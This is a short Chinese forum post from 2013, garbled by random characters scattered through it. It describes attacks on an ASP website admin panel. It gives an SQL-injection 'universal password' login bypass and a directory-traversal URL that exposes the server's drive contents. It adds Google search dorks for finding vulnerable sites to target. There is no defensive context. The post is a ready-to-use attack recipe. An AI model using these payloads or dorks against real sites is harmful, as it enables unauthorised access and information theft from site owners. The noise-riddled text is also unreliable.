后台万能密码 'or'='or'9 e0 b j# X' m2 e
) G' F; r) v1 {/ [( W8 i4 W后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！. W' y j+ }2 } L! `; V
admin/uploadfile.asp?currentFolder=/upfiles/../; p5 D( S. h; V! h. ~6 z: L8 @- E
/ e( Q4 n7 X# C6 e. k
漏洞证明：" n( n6 D0 P: }0 [2 E: g
! o: o5 J" ]& V7 p
谷歌：inurl:type.asp?id=1 新闻中心( _/ ^! P3 y8 Y y- }* a
或者 ：inurl:download_ok.asp?
7 b* C! l- ~# m/ Y
) m' d1 q+ U$ U) H/ G! { |
发表于 2013-3-14 20:17:32
收藏
支持
反对